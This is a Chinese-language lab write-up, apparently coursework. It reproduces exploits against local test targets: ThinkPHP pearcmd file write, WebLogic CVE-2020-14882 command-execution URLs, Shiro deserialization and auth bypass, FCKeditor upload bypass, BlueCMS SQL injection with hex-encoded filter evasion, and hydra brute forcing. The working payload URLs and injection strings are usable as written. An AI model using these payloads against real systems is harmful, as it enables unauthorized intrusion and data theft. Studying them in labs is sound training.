1、RCE:分別實現ThinkPHP、Weblogic、Shiro漏洞的利用過程>
ThinkPHP:
環境搭建
前端測試是否存在pearcmd,訪問路徑,存在的話報錯就確認存在
在根目錄下建立magedu3.php這個檔案,檔案內容為<?=phpinfo()?>
,10.0.0.150:8080/public/?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<? =phpinfo()?>+/var/www/html/magedu3.php
寫入成功後,直接訪問php檔案,成功解析
Weblogic:
啟動Weblogic漏洞(CVE-2020-14882)環境
啟動完成後,訪問 http://10.0.0.150:7001/console 可檢視到後臺登入頁面
這裡利用CVE-2020-14882漏洞,訪問以下URL,可未授權訪問到管理後臺頁面
方式一:
構造一個惡意的XML檔案,並將其儲存在Weblogic可以訪問到的伺服器上(dvwa靶場)
訪問http://10.0.0.150:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su pport.FileSystemXmlApplicationContext("http://10.0.0.150:8080/hackable/uploads/rce.xml")
,即可讓Weblogic載入該惡意XML檔案,並執行其中的命令
進入容器,可以發現 touch /tmp/magedu1 已成功執行
方式二:
直接訪問http://10.0.0.150:7001/console/images/%252e%252e%252fconsole.portal? _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java .lang.Runtime.getRuntime().exec('touch%20/tmp/magedu2');")
進入容器,可以發現 touch /tmp/magedu2 已成功執行
Shiro:
Shiro反序列化漏洞(CVE-2016-4437):
啟動環境
工具一:ShiroExploit.V2.51
目標站點存在漏洞,Shiro的預設金鑰、利用鏈等都被顯示出來
檢測到漏洞以後,就可以在輸入框輸入命令,實現RCE
工具二:shiro_attack_2.2
使用 shiro_attack2.2 爆破Shiro金鑰檢測漏洞
實現遠端命令執行
實現記憶體馬:
開啟冰蠍
透過記憶體馬getshell
Shiro許可權繞過漏洞(CVE-2020-1957):
環境搭建
直接請求管理頁面 /admin/,無法訪問,將會被重定向到登入頁面。構造惡意請求 /xxx/..;/admin/,即可繞過許可權校驗,訪問到管理頁面
2、FCKeditor編輯器漏洞實驗;
首先搭建環境:Windows10+phpstudy_64(php 5.4.45)
根目錄放入原始碼
搭建好環境後開始挖掘:
目錄掃描發現目標網站存在FCKeditor
檢視版本,判斷出該FCKeditor編輯器版本為:2.4.3
利用示例頁面進行上傳,點選插入/編輯影像,點選連結,Browse Server
會出現FCK上傳頁面
訪問連結http://192.168.2.115/fckeditor/editor/filemanager/browser/default/browser.html? Connector=connectors/php/connector.php
發現存在報錯
訪問C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php
,修改配置如下並儲存:
上傳路徑:C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\images
再次訪問連結,可以正常訪問
上傳PHP檔案,抓包,修改php字尾,增加空格
上傳成功
根據前面的配置檔案可以構造出路徑:http://192.168.2.115/FCKeditor\editor\filemanager\browser\default\images\file/info.php
3、bluecms旁註漏洞,並解釋為什麼旁站攻擊可以拿下主站?跨庫的意思是什麼?
搭建環境:
將bluecms原始碼放入phpstudy網站目錄中
之後訪問 bluecms/uploads/install/ 進行安裝
返回空白安裝成功
開始攻擊:
訪問http://192.168.2.115/bluecms/uploads/可以看到登入主頁面
透過猜測發現旁站後臺,訪問http://192.168.2.115/bluecms/uploads/admin
使用賬號密碼(admin/123456)進行登入,獲取旁站後臺管理員許可權
新增廣告後,發現“獲取JS”的功能
對該功能點進行注入測試
透過order by來判斷sql語句查了多少列,order by 8報錯,證明sql語句查了7列
注入出資料庫名為bluecms
注入出資料使用者名稱為root@localhost
注入出當前庫所有的表名view-source:http://192.168.2.115/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
繼續注入blue_user表中的欄位名,發現報錯,存在過濾,單引號前面出現 \ 證明單引號被轉義,使用16進位制進行繞過
view-source:http://192.168.2.115/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572
繼續注入bluecms庫中blue_user表的user_name和pwd欄位內容
view-source:http://192.168.2.115/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,concat(user_name,pwd) from blue_user
解碼密碼為123456
旁站與跨庫:
在同一伺服器中有A,B兩個站點。A為主站比較難打,就可以透過資訊收集拿到站點B,站點B的防護沒有站點A的安全,此時就可以攻打旁站B,從而拿下站點B的資料庫,
利用SQL隱碼攻擊漏洞拿下整個伺服器,自然也就拿下了主站A。跨庫的意思就是透過拿下了站點B的資料庫以後,以資料庫B為跳板去查詢資料庫A的內容。
4、暴力猜解:hydra實現對ftp、ssh、rdp、mysql的暴力破解。
ftp:
設定賬號為 ftp/666 並啟動ftp服務
使用hydra暴力破解ftp服務
利用該密碼成功登入ftp伺服器 ftp://192.168.2.115/
ssh:
使用hydra暴力破解ssh服務,首先在Windows系統中安裝openssh
安裝完成後,看到C盤目錄下已經存在OpenSSH資料夾,接下來配置環境變數
配置完成後,在命令列輸入ssh,出現下圖即安裝成功
預設安裝openssh,賬號密碼預設是當前系統使用者的微軟賬號和密碼
(微軟賬號沒有設定密碼)所以沒有爆出
rdp:
使用hydra暴力破解rdp服務,虛擬機器win10開啟遠端桌面
因為微軟賬號沒有設定密碼,所以沒有爆出
mysql:
使用hydra暴力破解Mysql服務,win10系統中啟動MySQL服務,檢視賬號密碼
安裝資料庫管理工具
設定MySQL允許遠端連線:選中grant all privileges on *.* to root@'%' identified by 'root';
語句,點選右鍵選擇執行
破解出192.168.2.115的mysql的賬號密碼為:root/root